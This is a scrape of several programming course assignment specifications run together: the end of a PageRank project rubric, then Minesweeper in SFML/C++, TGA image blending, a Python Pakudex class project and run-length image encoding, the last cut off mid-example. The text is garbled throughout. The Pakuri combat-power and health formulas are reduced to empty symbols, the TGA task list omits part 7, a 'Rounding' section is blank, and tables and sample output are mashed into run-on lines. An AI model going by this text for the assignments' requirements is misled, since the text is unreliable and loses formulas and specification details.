and why? [2.5 points] § What is the computational complexity of each method in your implementation in the worst case in terms of Big O notation? [5 points] § What is the computational complexity of your main method in your implementation in the worst case in terms of Big O notation? [5 points] § What did you learn from this assignment and what would you do differently if you had to start over? [2 points]§ Code Style and Design [5.5 Points] o 2.5 points for design decisions, a well-designed Graph API, and code modularity o 1 points for appropriate comments o 1 point for white spaces o 1 points for consistent naming conventions§ Catch Tests [5 Points] o A test.cpp containing 5 test cases (1 point/test) using the Catch Framework for Project 2. These tests should be different than the public test cases.Submission § One or more .cpp or.h files that have your implementation. Test on gradescope early and often. § One test.cpp file that has your 5 test cases using the Catch2 framework and a screenshot image of the passing tests titled Test. Make sure to comment out your entire test.cpp file. § One pdf file that has your documentation. Upper limit – 3 pages with 20% deduction in report per extra page. Cover page is not required, just your name on Page 1 is suffice.Frequently Asked QuestionsBased on the number of repeated questions we got in Project 1 on Slack, the course staff will now maintain an active FAQ Google document to answer your questions. Post your questions in Slack, but this time we will answer in this document and send you the link. The link to the document is: https://docs.google.com/document/d/1a9hR1Ep2IYK-MnsXwl2VxyotO1Yd-XCC8NWUkdp24JM/Additional Optional Resources• Page Rank Paper: https://www.sciencedirect.com/science/article/abs/pii/S016975529800110X • Videos on Page Rank (The assignment is based on these videos): Lectures 5-8 • Extended Videos (Not required for Project): Lectures 9-11 • P2 Catch Template • Breakdown by Jackie Wang o Video can be found here o Slides can be found here • Project 2 Test Case Web App by Chase Mooney: https://chasemooncheese.github.io/Project2Tester/ o Disclaimer: The output of this web app is not guaranteed to match the Gradescope autograder; it is highly likely to, but it cannot be used to dispute the autograder results.
P4: MinesweeperOverview This project will provide students with practice building and working within an object-oriented by building classes to represent the elements of the classic PC game “Minesweeper” and implement a working version.Gameplay Many free variants of Minesweeper are out there. It’s a good idea to play and become familiar with the game!• Right clicking a tile displays a flag on the tile to mark it as a possible mine • If a mine tile is revealed, the player loses / game ends. If all non-mine tiles are revealed, the player wins. • If non-mine tile is revealed, it displays how many mines adjacent to that tile (1-8, or empty for 0) o If there are no adjacent mines, all non-mine tiles adjacent to the tile are also revealed • The player uses the numbers as clues to deduce where other mines are locatedNote that flagged spaces cannot be revealed, but right clicking again removes the flag. Mine Counter The counter tracks the number of mine remaining. When a flag is placed, counter decreases by one (whether or not it is placed on a mine). Whenever a flag is removed, the counter increases. This can be negative! Buttons New Game – restarts the game – including randomly reassigning mines Debug Mines – toggles visibility of mines on the board. This facilitates testing / debugging Test Buttons – load predefined test boards (detailed in later sections) Structure This section outlines important structural elements the facilitate implementation of the specification.Window Management The SFML window must be 800×600 and use this title bar text: “P4 – Minesweeper, ”. The window must be able to be closed via the button in the upper-right corner. Event Management Like many interactive toolkits, SFML uses events to signal input from the user. Events must be captured and processed via polling and filtering. Images All images needed for this project can be found in the images folder. Do not submit this folder. Images should be loaded as sf::Texture objects and used to create sf::Sprite objects. Images are as follows: Game Images mine.png Star of the game (but if played properly, we’ll never see one!) tile_hidden.png An unrevealed tile tile_revealed.png A revealed tile with no adjacent tiles number_#.png Tile digits (where # is replaced with 1:8) for adjacent mines flag.png Drawn over tiles when flagged by player as possible mines UI Images face_happy.png Button to reset/start new game; new mines, nothing revealed. The new state should be a default game state (25×16 with 50 randomly placed mines). face_win.png Victory! face_lose.png The opposite of victory! (It’s cool, no smiley faces were harmed during the creation of this project) digits.png Digits for the mine counter. The size of each digit is 21 x 32 pixels. (Hint: can use just one texture, but several sprites!) debug.png Toggle mine debugging mode test_1.png Loads a test file from which the board will be set test_2.png Loads a test file from which the board will be set Board Files Pre-generated game boards can be loaded from board files (brd) stored in plain text as a sequence of digits, where ‘0’ represents an empty tile and ‘1’ represents a mine. This can be used to build and test configurations. 1000000000000000000000000 0000000000000000000000000 0000000000000000000000000 0000000000000000000000000 0000000000000000000000000 0011111011110011101111100 0000000000000000000000000 0000100010000100000010000 0000000000000000000000000 0000100011000011000010000 0000000000000000000000000 0000100010000000100010000 0000000000000000000000000 0000100011110111000010000 0000000000000000000000000 0000000000000000000000000 0000000000000000000000000 0000011101000100110000000 0000000000000000000000000 0000001001010101001000000 0000000000000000000000000 0000001000101001001000000 0000000000000000000000000 0000001000101000110000000 0000000000000000000000000 0000000000000000000000000 0000000000000000000000000 1110111010101000110100100 0000000000000000000000000 1010100010101000100100100 0000000000000000000000000 1110111010101110100100000No revealed tiles One time on edge revealed (causing cascade)Requirements Students use SFML v2.5.1 for this project. They will construct several classes and functions as part of this assignment. All attributes / methods must be private unless noted in the specification.Toolbox Class A toolbox class is often used to contain variables that would otherwise be accessed throughout an application; it is a mechanism to avoid truly global variables. The Toolbox class will be a singleton (class with only one instance) and will contain at least the following attributes and methods:public sf::RenderWindow window; // SFML application window public GameState* gameState; // Primary game state representation public Button* debugButton; // Reveals mines in debug mode public Button* newGameButton; // Resets / starts new game public Button* testButton1; // Loads test board #1 public Button* testButton2; // Loads test board #2public static Toolbox& getInstance() Returns a reference to the singular Toolbox instance.private ToolBox() Default constructor; should be accessible only from within the class itself. This method initializes the buttons, window, game board, and any other elements necessary to play the game. Button Class This class will be used to implement each button widget. Widgets are responsible for rending themselves, originating interaction (e.g., clicking), and conveying state to the user. It will have these public methods:public Button(sf::Vector2f _position, std::function _onClick) Constructs a new object at the specified _position which invokes the _onClick callback when clicked.public sf::Vector2f getPosition() Returns the position of the button.public sf::Sprite* getSprite() Returns the current sprite of the button.public void setSprite(sf::Sprite* _sprite) Sets this button’s visualization to the specified _sprite.public void onClick() Invokes the button’s callback method (usually called when clicked).Tile Class This class implements the tile widgets that make up the board. The class can be optionally subclassed to further encapsulate special traits. Each tile’s neighbor configuration can vary (see Figure 1). When a tile is adjacent to the edge of the board, the neighbor pointer should be a nullptr value.public enum State { REVEALED, HIDDEN, FLAGGED, EXPLODED } Represents tile’s current UI state (visualization).public Tile(sf::Vector2f position) Constructs a new tile object at the designated _position.public sf::Vector2f getLocation() Returns the position of this tile.public State getState() Returns current state of this tile.public std::array& getNeighbors() Returns pointer to array of Tile pointers (see Figure 2 for ordering).public void setState(State _state)Figure 1. Mine configuration examples.Figure 2. Neighbor ordering.Sets the state of this tile. Should trigger other behaviors related to the state change (including visualization).public void setNeighbors(std::array _neighbors) Populates / replaces the neighboring tile container.public void onClickLeft() Defines the reveal behavior for a tile when the left mouse button is clicked inside its boundaries.public void onClickRight() Toggles this tile’s state between FLAGGED and HIDDEN.public void draw() Render this tile to the screen according to is state.protected void revealNeighbors() Based on State and mine content of the tile neighbors, set their state to REVEALED. GameState Class The GameState object should contain the Tile objects that represent the locations in the game and play status.public enum PlayStatus { WIN, LOSS, PLAYING } Tracks the play status of the game, which is reflected in the behavior of the user interface and visualizations.public GameState(sf::Vector2i _dimensions = Vector2i(25, 16), int _numberOfMines = 50) Constructs a new random game state with specified tile _dimensions and the specified _numberOfMines.public GameState(const char* filepath) Constructs a game state based on the size, mine placement, and mine number specified at filepath.public int getFlagCount() Current count of the number of flags placed on the screen.public int getMineCount() Current count of the number of mines actually on the board.public Tile* getTile(int x, int y) Returns a pointer to the Tile at the specified coordinates, or nullptr if out of bounds.public PlayStatus getPlayStatus() Returns the play status of the game.public void setPlayStatus(PlayStatus _status) Sets the play status of the game.Global Functions A proper implementation will also include the following functions in global scope (not in a class). Except for main(), these functions should be prototyped in the minesweeper.h header file:int launch() This method is invoked directly by main() and is responsible for the game’s launch. It should be possible to directly invoke this function after including the submitted source and header files in the test suite.void restart() Resets all states/objects and generates a default game state (random board) and turns off debug mode if active. The new state should be a default game state (25×16 with 50 randomly placed mines).void render() Draws the all UI elements according to the current gameState and debug mode.void toggleDebugMode() Flips the debug mode on/off. (Debug mode should initially be off/false.)bool getDebugMode() Returns the true if debug mode is active, and false otherwise.public int gameLoop() Encapsulates event-polling, rendering, and other logic necessary to handle input and output for the game.Finally, the main() function should be defined exactly as follows:int main() { return launch(); } // Just invokes launch()! (You can leave off the comment) Submissions NOTE: Your output must match the example output *exactly*. If it does not, you will not receive full credit for your submission! (Note that matching sample output is necessary, but not sufficient, for full credit.)Files: minesweeper.zip Method: Submit on CanvasCompressed Archive (minesweeper.zip) We do not list required source files, only headers. You should include additional source or header files in addition to those listed – based on your design – but you must have the listed files at a minimum.Your compressed file should have the following directory/file structure:minesweeper.zip minesweeper (directory) CMakeLists.txt minesweeper.h Buton.h GameState.h Tile.h Toolbox.h (Other sources / folders)Helpful Links Sprites: https://www.sfml-dev.org/tutorials/2.5/graphics-sprite.php Events: https://www.sfml-dev.org/tutorials/2.5/window-events.php Windows: https://www.sfml-dev.org/tutorials/2.5/windowtg-window.phpTips & Tricks Here are some things to keep in mind as you work on this project: • Most platforms will have some sort of documentation. Read it. It’s critical to get used to sifting through technical documentation to find answers. • Don’t be afraid to try things; when working with new toolkits and platforms, “playing” an “dabbling” help us understand these unfamiliar systems. Learning by doing (and failing!) is a critical part of problem-solving. • Don’t try to do everything at once. It’s OK to hard code a few things and build a small piece, expanding as you go. For example, try to get one tile working, and one button; then a few buttons; etc. • Think about what types of classes or functions we might want to add. How do we want to store the board data? What types of containers will we use? What will make our lives easier (or harder?) • This is your task; Write in a way that makes sense to you. Everyone tackles problems differently – that’s OK!Using Documentation The One True Answer to a problem might not be out there on the Internet, in a StackOverflow.com question, or on YouTube. However, the information to help us figure out PARTS of the problem is almost surely out there. We must find out how to make sense of the smaller bits of information and decide on a course of action.For example, data in sf::Texture objects disappears when the object is deleted or falls out of scope. We can’t create a local Texture, make a Sprite from it, return it from the function, and use it. Documentation helps here: https://www.sfml-dev.org/tutorials/2.5/graphics-sprite.php#the-white-square-problem
Contents Overview ………………………………………………………………………………………………………………………………… 2 Reading binary data ………………………………………………………………………………………………………………… 2 Viewing TGA files …………………………………………………………………………………………………………………….. 2 File format description …………………………………………………………………………………………………………….. 3 Color Data ………………………………………………………………………………………………………………………………. 5 What’s in a pixel? ……………………………………………………………………………………………………………………. 6 Storage …………………………………………………………………………………………………………………………………… 7 Writing a file …………………………………………………………………………………………………………………………… 7 Ramping up …………………………………………………………………………………………………………………………….. 7 Image manipulations ……………………………………………………………………………………………………………….. 7 Calculation tips ……………………………………………………………………………………………………………………….. 8 Rounding ………………………………………………………………………………………………………………………………… 8 Tasks ……………………………………………………………………………………………………………………………………… 9 Testing your files …………………………………………………………………………………………………………………….. 9 Writing Tests …………………………………………………………………………………………………………………………. 10 Makefiles ……………………………………………………………………………………………………………………………… 11 Extra Credit …………………………………………………………………………………………………………………………… 12 Pre-Submission Testing ………………………………………………………………………………………………………….. 12 Program name …………………………………………………………………………………………………………………… 13 Relative Paths ……………………………………………………………………………………………………………………. 13 Slashes (forward, or backward?) …………………………………………………………………………………………. 13 Grade Rubric …………………………………………………………………………………………………………………………. 14 Submissions ………………………………………………………………………………………………………………………….. 14 Tips ………………………………………………………………………………………………………………………………………. 14 Optimization Tip ……………………………………………………………………………………………………………………. 15Overview Lots of applications need to process images in some way. Load them, store them, write them back out to files, scale them, rotate them, adjust the color in part (or all) of the image, etc. The purpose of this assignment is to show you how you can perform some of these operations on a particular type of file. You will be writing a program that does the following: • Read in a number .TGA files in a binary format • Process the image data store within those files in a variety of ways • Write out new .TGA files in the same binary format Reading binary data Binary file operations are about two things: reading bytes from the file and putting them into memory, or writing bytes from memory directly to the file. There is no conversion, no interpretation, and no converting strings to numbers or vice-versa. It’s just bytes from the file to memory, or bytes from memory to the file. Whether the data is simple or complex, it’s all just a series of these byte-copying operations. Refer back to the presentation BinaryFileIO on Canvas for a more detailed explanation on how to read and write binary data. Viewing TGA files Some operating systems won’t let you open TGA files natively (thanks Windows), so you will need to install some sort of viewer for them. If you already have a tool installed that lets you open and view these, great. Note: Not having a way of viewing these files will NOT stop you from writing code to open/read/write TGA files, it just means you can’t open the file in an application to view its contents, which will make it a bit more difficult to understand the process you are working with. Here are some tools you can install to view TGA files: Photoshop (CC or Elements, both have free trials) https://www.adobe.com/products/photoshop.html https://www.adobe.com/products/photoshop-elements.html GIMP (GNU Image Manipulation Program) – a free, open-source alternative to the likes of Photoshop https://www.gimp.org/ TGAViewer – A simple program whose only purpose is to open and view TGA files. http://tgaviewer.com/download.aspx File format description Since binary files are all about bytes, they are typically an unreadable mess to any program (or person) that doesn’t know exactly how the data is structured. In order to read them properly, you must have some sort of blueprint, schematic, or breakdown of how the information is stored. Without this description of the file format, you would just be reading random combinations of bytes attempting to get some useful information out of it—not the most productive process. The TGA file format is a relatively simple format, though it has some options which can get a bit complex in some cases. The purpose of this assignment is not make you a master of this particular image format, so a few shortcuts will be taken (more on those later). First, a quick look at the file format:FOR THIS ASSIGNMENT: the files you work with will be 24-bit true color, uncompressed images. What you need from this header are two things: The width of the image, and the height of the image. struct Header { char idLength; char colorMapType; char dataTypeCode; short colorMapOrigin; short colorMapLength; char colorMapDepth; short xOrigin; short yOrigin; short width; short height; char bitsPerPixel; char imageDescriptor; }; Sample file header output // Something like this… Header headerObject; file.read(&headerObject.idLength, sizeof(headerObject.idLength)); file.read(&headerObject.colorMapType, sizeof(headerObject.colorMapType));Color Data After the header is the really important part, the image data itself. In a .TGA file the image data is stored in a contiguous block of pixels equal to ImageWidth * ImageHeight. The contents of a single pixel can vary depending on the properties of the file, but for this assignment we are using images with 24-bit color. This means that each pixel would contain: 1 byte (8-bits) for red data, 1 byte (8-bits) for green data, 1 byte (8-bits) for blue data Each of those bytes will contain a value from 0-255, which makes unsigned char the perfect data type to store them. So if a file had a size of 200×300, it would contain 60000 pixels, each of which contains 3 bytes of data, like this:You could store that data in a single array of bytes 180000 elements long, create some Pixel structure which contains 3 bytes, and then make an array or a vector of 60000 Pixels, etc. Often, when talking about color, we describe them in RGB order—red, green, and blue. However… IMPORTANT NOTE: In a .TGA file, the colors are stored in reverse order, such that the first byte is the blue component, the second byte is the green component, and the third byte is the red component. What about the order of the pixels themselves? In many image files (including .TGA files), the first pixel in the file represents the BOTTOM LEFT corner of the image. The last pixel represents the TOP RIGHT corner of the image. If you read, store, and write the pixel data in the same order, you don’t really have to worry too much about this. If you wanted to copy data into a particular part of the image, however… that can be a bit tricky. For example, to copy some 2×2 image into the top left corner would require you change pixels 16, 17, 24, and 25.24 25 26 27 28 29 30 31 16 17 18 19 20 21 22 23 10 12 13 14 15So, to summarize: The file contains a header, which is 18 bytes in length. Stored within those 18 bytes are pieces of information describing the image content—the width and height of the image, how the color data is stored, and so on. All you need from the header is the width and the height. However, when writing a file, you should provide ALL the header data, whether you are using it or not. Because of this, you should store this data along with the image data itself. What’s in a pixel? Fundamentally, a pixel (short for picture element) is the smallest unit of data in an image, representing a color at a specific location in the image. (Pixels also can mean a particular element from a display device, but doesn’t matter for this assignment.) A pixel is represented by several components, often red, green, and blue (RGB color), but possibly cyan, magenta, yellow, and black (CMYK color).Storage How to store the TGA file? You would need… • The header. 18 bytes worth of data (even if you really only care about 4 bytes – 2 bytes for width, 2 for height). You will need all 18 bytes of this header data to properly write a .TGA file. • The pixels. A pixel is 3 values: R, G, and B, and each of those is a number from 0-255 (an unsigned char fits this perfectly). You will need a way to store a lot of them; a medium-sized image that’s 512×512 contains 262,144 pixels. That’s just the TGA data. That’s the information that goes in and out of the file. If you were storing this data in a class, and using that class to help read/write the information, you might store additional data to help you with the process. Exactly what that data is, is up to you. Writing a file Writing a .TGA file is a pretty straightforward process. You first write the header to the file, and follow that with the image data. If you have any footer information, you would write that after the image data (footers are NOT used in this assignment). Ramping up To get familiar with this process, see if you can do these exercises: • Load a file, and then write that same file data out with a different name – no changes, just a simple passing of data from a file to memory, and then back to a (different) file. • Open an existing file, assign to all the pixels a single color such as red (255, 0, 0). Save the file. • Open an existing file, fill it with random colors (remember a color is made of multiple channels). • Write some code to create a brand new file from scratch—borrow some header values from an existing file to get started, or create your own. Fill that image with a single color—create an allred, or all-blue image. Image manipulations There are many different ways that you can manipulate an image. Photoshop and similar programs have dozens of different algorithms. The basic concept behind these manipulations is that you have 2 layers, A and B. They get run through an algorithm to generate an output, C. Implementation-wise, each “layer” is an image, each image is made up of some number of pixels, and each pixel has a red, green, and blue component. So ultimately the combinations of A and B involve the combination the red component of the first pixel of A with the red component of the first pixel of B, and the green component of the first pixel of A with the green component of the first pixel of B, (ditto for the blue component), and so on for each pixel, storing the results in the corresponding pixel of some new image, image C. A description of the different blending modes can be found here: http://www.simplefilter.de/en/basics/mixmods.html You will not be implementing all of those blending modes. For this assignment, you will be implementing the Multiply, Subtract, Screen, and Overlay blending modes. In addition, you should be able to modify the individual channels by adding a value to them (such as adding 20 to the red channel, or “adding” -20 to the blue channel), or by scaling them (such as scaling the green channel by 50%). The specific operations you will have to perform are listed below, under the heading Tasks. Calculation tips Similarly, if you multiplied a value of 140 with a value of 78, the result of 10,920 would be just a tiny bit too large. So what can you do? In some cases, you might need to clamp values. In the case of addition/subtraction, you would clamp to the maximum or minimum values of the data type after the operation… however, to avoid the overflow/underflow issue, you might need to perform the calculation in a data type that can store a larger range (like an integer), then clamp and reassign to another variable afterward. For some operations (like multiplication), they work based on a normalized value, from 0-1. So, you might convert your 0-255 value to a 0-1 value (dividing the original by the maximum), perform the calculation with 0-1 values, and the convert back to the original range afterward (multiplying the 0-1 range by the maximum). You could also just multiply the original two values, and divide the result by 255… you’ve got options, and it’s up to you to decide how best to implement them. Normalizing values is often used because it allows for the creation of formulae which can describe a process which works in any situation, regardless of the specific values. For example you might deal with a color range of 25-172, but by normalizing them to a 0-1 equivalent (which would require a little more work than just dividing by 255 in this case), you can use with in the same sort of formula as anything else. RoundingTasks This assignment is broken into 10 different parts, each of which is worth a small portion of the overall grade (the grading rubric is listed at the end of this document). For each of these tasks you will: 1. Load one or more files from the “input” folder 2. Perform some operation(s) on the loaded file(s) 3. Write the results to a new .TGA file (named part#.tga) in the “output” folder. The “examples” folder has completed versions which you can use to test against your files. If your file is identical to its counterpart in the examples folder, you’re done with that part! For example: Part 1: Load the file “layer1.tga” and “pattern1.tga” (both from the input folder), and blend them together using the Multiply algorithm (“layer1” would be considered the top layer). Save the results as “part1.tga” (in the output folder), and your file should match EXAMPLE_part1.tga (from the examples folder). 1. Use Multiply blending mode to combine “layer1.tga” (top layer) with “pattern1.tga” (bottom). 2. Use the Subtract blending mode to combine “layer2.tga” (top layer) with “car.tga” (bottom layer). This mode subtracts the top layer from the bottom layer. 3. Use the Multiply blending mode to combine “layer1.tga” with “pattern2.tga”, and store the results temporarily. Load the image “text.tga” and, using that as the top layer, combine it with the previous results of layer1/pattern2 using the Screen blending mode. 4. Multiply “layer2.tga” with “circles.tga”, and store it. Load “pattern2.tga” and, using that as the top layer, combine it with the previous result using the Subtract blending mode. 5. Combine “layer1.tga” (as the top layer) with “pattern1.tga” using the Overlay blending mode. 6. Load “car.tga” and add 200 to the green channel. 8. Load “car.tga” and write each channel to a separate file: the red channel should be “part8_r.tga”, the green channel should be “part8_g.tga”, and the blue channel should be “part8_b.tga” 9. Load “layer_red.tga”, “layer_green.tga” and “layer_blue.tga”, and combine the three files into one file. The data from “layer_red.tga” is the red channel of the new image, layer_green is green, and layer_blue is blue. 10. Load “text2.tga”, and rotate it 180 degrees, flipping it upside down. This is easier than you think! Try diagramming the data of an image (such as earlier in this document). What would the data look like if you flipped it? Now, how to write some code to accomplish that…? Testing your files For all but the simplest of programs, tests are needed to verify that process was executed correctly. We write code to do things more quickly than we can, whether it’s a single, complex problem, or many smaller problems. Testing should be no different. Why verify something by hand when you can have a program do it for you? (The one small issue… you have to write that program first!) The overall idea of ANY test is the same: Does meet , where the criteria are equal to some value, less than or greater than some value, etc. 2. For each of those significant pieces, are they equal to that of the other object? If A and B both have 8 different variables, is A.variable1 equal to B.variable1? What about A.variable2 and B.variable2, etc. In this assignment you are dealing with image files. The rules of programming have not suddenly changed because of this! The above concepts are still the same. Writing a program to compare data is still the way to do things. Consider the following two images:Left: “True” red—255, 0, 0 Right: 254, 0, 0—a convincing impostor Those two images look the same. They have the same shape, same color, etc. However, they are very, very different. Between the two of these, they have 0 pixels in common! Just looking at them, however, it’s impossible to tell. So we write tests. Comparing a single pixel of that image to the same pixel in the other would reveal that the G and B values (both 0) are equal in each image, but the red values are not. If we want ALL data to be the same for an equality check, that check would fail. Writing Tests How you show the results of a particular test? Imagine this simple scenario: You have two integers, with values of 2 and 4. You pass them to a function called Add(), which adds them and returns the result. How would you test this? What would the code look like? Perhaps something like this: cout
P2: PakudexOverview This project will provide students with practice building and working with object-oriented programming constructs including classes and objects by building classes to represent creatures and a cataloguing system. Scenario NOTE: This project concept is a work of satire. To state the obvious: we do not advise one to go around imprisoning creatures in small receptacles held in one’s pockets and/or having them fight for sport.Requirements Students will write two files to submit: a main pakudex module (pakudex.py) containing a driver program with the main() function as the entry point and a Pakudex class and a pakuri module (pakuri.py) containing the Pakuri class. All output goes to standard output unless otherwise specified. All attributes / methods must be private unless noted in the specification!Welcome to Pakudex: Tracker Extraordinaire!Pakudex Main Menu —————– 1. List Pakuri 2. Show Pakuri 3. Add Pakuri 4. Remove Pakuri 5. Evolve Pakuri 6. Sort Pakuri 7. ExitWhat would you like to do? Entry Point When run as a program, the pakudex module should…1) Display a welcome message 2) Prompt for input & conduct input error checking 3) Follow the output and formatting in this document 4) Not have print statements in the class method calls 5) Only run main() if invoked directly (i.e., check __name__) 6) Have no global variablesListing Pakuri This should number and list the critters in the Pakudex in the order contained. For example, if “Pikarat” and “Charasaurus” were added to the Pakudex (in that order), before sorting, the list should be:Success Failure Pakuri in Pakudex: 1. Pikarat 2. Charasaurus No Pakuri currently in the Pakudex!Pakudex Main MenuShow Pakuri The program should prompt for a species and collect species information, then display it:Success Failure Enter the name of the species to display: QuackerSpecies: Quacker Level: 15 CP: 286 HP: 45 Enter the name of the species to display: PsyDuck Error: No such Pakuri!Pakudex Main Menu —————– 1. List PakuriAdding Pakuri When adding a Pakuri, a prompt should be displayed to read in the species name, and a confirmation displayed following successful addition (or failure).Success Failure – Duplicate Species: Quackers Error: Pakudex already contains this species! Species: Quacker Level: 15 Pakuri species Quacker (level 15) added!Pakudex Main Menu —————– 1. List Pakuri 2. Show Pakuri Level: -15 Level cannot be negative. Level: NINE-THOUSAND Invalid level! Failure – LevelRemoving Pakuri The program should prompt for a species name and then remove the Pakuri if it is in the Pakudex:Success Failure Enter the name of the Pakuri to remove: Quacker Pakuri PsyGoose removed. Enter the name of the Pakuri to remove: PsyDuck Error: No such Pakuri!Evolve Pakuri The program should prompt for a species and then cause the species to evolve if it exists:Success Failure Enter the name of the species to evolve: Quacker Quacker has evolved! Enter the name of the species to evolve: PsyDuck Error: No such Pakuri!Sort Pakuri Pakuri have been sorted! Sort Pakuri in Java standard lexicographical order:Exit Thanks for using Pakudex! Bye! Quit the program:Pakuri Class This class will be the blueprint for the different critter objects that you will create. You will need to store information about the critter’s species, attack level, defense level, and stamina. All variables storing information about the critters must be private (inaccessible from outside of the class per Python convention). We recommend (but do not mandate) the following variable types and names:__species: str __level, __attack, __defense, __stamina: intThese attack, defense, and speed levels should have the following initial values when first created:Attribute Value attack (len(species) * 7 + 11) % 16 defense (len(species) * 5 + 17) % 16 stamina (len(species) * 6 + 13) % 16While Pakuri attributes are never revealed to the user, they are used (along with level) to determine the combat power (CP) and healthy points (HP), as follows:= ( × / )= ( × × √ × × . )Required Methods The class must include the following methods exactly as defined: __init__(self, species: str, level: int) This method should be the only constructor for this class. There should not be a default constructor!get_species(self) -> str Returns the species of this critterget_attack(self) -> int Returns the attack value for this critterget_defense(self) -> int Returns the defense value for this critterget_stamina(self) -> int Returns the speed of this critterset_attack(self, new_attack: int) Changes the attack value for this critter to new_attackRequired Properties These properties must be included as part of the class: cp (read-only) Calculates and returns the Pakuri object’s combat power (CP).hp (read-only) Calculates and returns the Pakuri object’s health points (HP).level (read-write) Gets, or sets, the Pakuri object’s level attribute. Pakudex Class The Pakudex class will contain all the Pakuri that you will encounter as Pakuri objects.Required Methods The class must include the following methods exactly as defined: __init__(self) Default constructor; should prepare a new Pakudex object.get_species_list(self) -> list[str] Returns a list of names of the species of the critters as ordered in the Pakudex; if there are no species added yet, this method should return None.get_stats(self, species: str) -> list[int] Returns an int list containing the level, CP, and HP of species at indices 0, 1, and 2 respectively; if species is not in the Pakudex, returns None.sort_pakuri(self) Sorts Pakuri objects in this Pakudex according to Python standard lexicographical ordering of species name.add_pakuri(self, species: str, level: int) -> bool Adds species to the Pakudex; if successful, return True, and False otherwiseremove_pakuri(self, species: str) -> bool Removes a species from the Pakudex; if successful, return True, and False otherwiseevolve_species(self, species: str) -> bool Attempts to evolve species within the Pakudex. This should double the Pakuri’s level and increment (increase by one) its attack. If successful, return True, and False otherwiseSubmissions NOTE: Your output must match the example output *exactly*. If it does not, you will not receive full credit for your submission!Files: pakudex.py, pakuri.py Method: Submit on ZyLabs
P1: RLE with ImagesOverview In this project students will develop routines to encode and decode data for images using run-length encoding (RLE). Students will implement encoding and decoding of raw data, conversion between data and strings, and display of information by creating procedures that can be called from within their programs and externally. This project will give students practice with loops, strings, arrays, methods, and type-casting.Run-Length Encoding RLE is a form of lossless compression used in many industry applications, including imaging. It is intended to take advantage of datasets where elements (such as bytes or characters) are repeated several times in a row in certain types of data (such as pixel art in games). Black pixels often appear in long “runs” in some animation frames; instead of representing each black pixel individually, the color is recorded once, following by the number of instances.0 0 2 2 2 0 0 0 0 0 0 2 2 0_ 2 0 3 2 6 0 2 2 1 0_ For example, consider the first row of pixels from the pixel image of a gator (shown in Figure 1). The color black is “0”, and green is “2”:Flat (unencoded) data:Run-length encoded data: . Figure 1 – Gator Pixel ImageThe encoding for the entire image in RLE (in hexadecimal) – width, height, and pixels – is:2 0 3 2 6 0 2 2 2 0 1 2 1 F 1 0 7 2 1 A F 2 1 0 9 2 3 0 1 2 1 0 3 2 6 0 3 2 3 0 8 2 5 0 1 E |1 6 W/ H/ ——————————————PIXELS———————————————–/Image Formatting The images are stored in uncompressed / unencoded format natively. In addition, there are a few other rules to make the project more tractable:1. Images are stored as an array of bytes, with the first two bytes holding image width and height. 2. Pixels will be represented by a number between 0 and 15 (representing 16 unique colors).For example, the chubby smiley image (Figure 2) would contain the data shown in Figure 3.Figure 2 Figure 3 – Data for “Chubby Smiley” NOTE: Students do not need to work with the image file format itself – they only need to work with byte sequences and encode or decode them. Information about image formatting is to provide context. Requirements Student programs must present a menu when run in standalone mode and must also implement several methods, defined below, during this assignment.Standalone Mode (Menu) When run as the program driver via the main() method, the program should:1) Display welcome message 2) Display color test (console_gfx.TEST_RAINBOW) 3) Display the menu 4) Prompt for inputNote: for colors to properly display, it is highly recommended that student install the “CS1” theme on the project page if they have not done so.There are five ways to load data into the program that should be provided and four ways the program must be able to display data to the user.Loading a File Accepts a filename from the user and invokes console_gfx.load_file(filename: str): Select a Menu Option: 1 Enter name of file to load: testfiles/uga.gfxLoading the Test Image Loads console_gfx.TEST_IMAGE: Select a Menu Option: 2_ Test image data loaded._Reading RLE String Reads RLE data from the user in decimal notation with delimiters (smiley example): Select a Menu Option: 3 Enter an RLE string to be decoded: 28:10:6B:10:10B:10:2B:10:12B:10:2B:10:5B:20:11B:10:6B:10Reading RLE Hex String Reads RLE data from the user in hexadecimal notation without delimiters (smiley example): Select a Menu Option: 4 Enter the hex string holding RLE data: 28106B10AB102B10CB102B105B20BB106B10 RLE decoded length: 66Reading Flat Data Hex String Reads raw (flat) data from the user in hexadecimal notation (smiley example): Select a Menu Option: 5 Enter the hex string holding flat data: 880bbbbbb0bbbbbbbbbb0bb0bbbbbbbbbbbb0bb0bbbbb00bbbbbbbbbbb0bbbbbb0 Number of runs: 18Displaying the Image Displays the current image by invoking the console_gfx.display_image(imageData: bytes) method.Displaying the RLE String Converts the current data into a human-readable RLE representation (with delimiters): Select a Menu Option: 7 RLE representation: 28:10:6b:10:10b:10:2b:10:12b:10:2b:10:5b:20:11b:10:6b:10Note that each entry is 2-3 characters; the length is always in decimal, and the value in hexadecimal! Displaying the RLE Hex Data Converts the current data into RLE hexadecimal representation (without delimiters): Select a Menu Option: 8 RLE hex values: 28106b10ab102b10cb102b105b20bb106b10Displaying the Flat Hex Data Displays the current raw (flat) data in hexadecimal representation (without delimiters): Select a Menu Option: 9 Flat hex values: 880bbbbbb0bbbbbbbbbb0bb0bbbbbbbbbbbb0bb0bbbbb00bbbbbbbbbbb0bbbbbb0Module Functions Student modules are required to provide all of the following functions with the defined behaviors. We recommend completing them in the following order:1. count_runs(flatData: iterable) -> int Returns number of runs of data in an image data set; double this result for length of encoded (RLE) byte array.Ex: count_runs([15, 15, 15, 4, 4, 4, 4, 4, 4]) yields integer 2.2. to_hex_string(data: iterable) -> str Translates data (RLE or raw) a hexadecimal string (without delimiters). This method can also aid debugging.Ex: to_hex_string([3, 15, 6, 4]) yields string “3f64”.3. encode_rle(flat_data: iterable) -> bytes Returns encoding (in RLE) of the raw data passed in; used to generate RLE representation of a data.Ex: encode_rle([15,15,15,4,4,4,4,4,4]) yields b’x03x0fx06x04′ (i.e., [3, 15, 6, 4]).4. get_decoded_length(rle_data: iterable) -> int Returns decompressed size RLE data; used to generate flat data from RLE encoding. (Counterpart to #2)Ex: get_decoded_length([3, 15, 6, 4]) yields integer 9.5. decode_rle(rle_data: iterable) -> bytes Returns the decoded data set from RLE encoded data. This decompresses RLE data for use. (Inverse of #3)Ex: decode_rle([3, 15, 6, 4]) yields b’x0fx0fx0fx04x04x04x04x04x04′.6. string_to_data(data_string: str) -> bytes Translates a string in hexadecimal format into byte data (can be raw or RLE). (Inverse of #1)Ex: string_to_data(“3f64”) yields b’x03x0fx06x04′ (i.e., [3, 15, 6, 4]).7. to_rle_string(rleData: iterable) -> str Translates RLE data into a human-readable representation. For each run, in order, it should display the run length in decimal (1-2 digits); the run value in hexadecimal (1 digit); and a delimiter, ‘:’, between runs. (See examples in standalone section.)Ex: to_rle_string([10, 15, 6, 